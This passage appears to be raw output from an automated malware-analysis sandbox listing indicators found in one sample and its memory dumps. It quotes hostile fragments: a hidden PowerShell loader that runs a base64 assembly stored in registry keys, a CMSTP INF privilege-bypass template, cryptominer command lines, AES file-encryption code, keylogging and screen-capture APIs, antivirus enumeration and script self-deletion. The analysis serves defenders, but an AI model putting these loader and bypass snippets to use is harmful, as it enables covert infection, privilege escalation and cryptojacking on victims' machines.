"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "aes"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "cryptostream"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "rijndael"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "base64"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")4e:T52c,Found reference to API "CreateDC" (Indicator: "CreateDC"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "CreateDC" (Indicator: "CreateDC"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")4f:T746,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")50:T7db,file/memory contains long string with (Indicator: "GetTempPath"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to API "string pathm = Path.Combine(Path.GetTempPath(), "mineworm");" (Indicator: "GetTempPath"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")51:T558,Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "MapVirtualKeyEx" (Indicator: "MapVirtualKey"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "MapVirtualKeyEx" (Indicator: "MapVirtualKey"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")52:Tb19,Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Get-ItemProperty"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")53:T65c,System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-600087c-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-6000a7e-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-60000cf-_~_e_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-60000c9-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-6000a7c-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-6000a89-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-600086a-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-600007e-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-6000894-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-6000a7f-_~_ System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole) at f9bbc48fa75a646f11a8771c5eadfc91-600097f-_~_54:Te97,Found string "password" (Indicator: "password"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "passwordBytes" (Indicator: "password"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "password"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "%password%" (Indicator: "password"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "password"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "password%" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "WinHttpReq.Open "GET", LHPSH, False ', "username", "password"" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "password" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "passwordBytes" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "string CPU = exe +" -o %pool% -u %user% -p %password% -a %algo% -t " + threadint;" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "private static void Encrypt(string inputFile, string outputFile, byte[] passwordBytes)" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00460000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00460000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.00460000.00000004.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp")55:T5f6,"' -Verb RunAs" taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000 49001=AllUSer_LDIDSection 7 [AllUSer_LDIDSection] "HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" [Strings] ServiceName="CMMGR32" ShortSvcName="CMMGR32"" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, "on]Signature=$chicago$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to installREPLACE_COMMAND_LINEtaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000 49001=AllUSer_LDIDSection 7[AllUSer_LDIDSection]"HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp ""HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", """ (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp56:T1803,Found string "SELECT Caption FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_BIOS" (Indicator: " Win32_BIOS"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_BaseBoard" (Indicator: " Win32_BaseBoard"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Select * From Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM AntivirusProduct" (Indicator: "antivirusproduct"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "FROM Win32_VideoController" (Indicator: " Win32_VideoController"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "rom Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "ECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "CT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "OM AntivirusProduct" (Indicator: "antivirusproduct"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "ELECT Caption FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "elect * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_BIOS" (Indicator: " Win32_BIOS"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_BaseBoard" (Indicator: " Win32_BaseBoard"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "elect * From Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")57:Tb74,Found reference to API "DeleteFile" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "" "REG_DWORD"filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"), Found reference to API ""filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "\"\r\nCreateObject(\"Scripting.FileSystemObject\").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"), Found reference to API "\"\r\nHiddenStartfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "\" \"REG_DWORD\"\r\nfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"), Found reference to API "\"\r\nfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "mObject").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp"), Found reference to API "sys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp"), Found reference to API "CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp"), Found reference to API "HiddenStartfilesys.DeleteFile 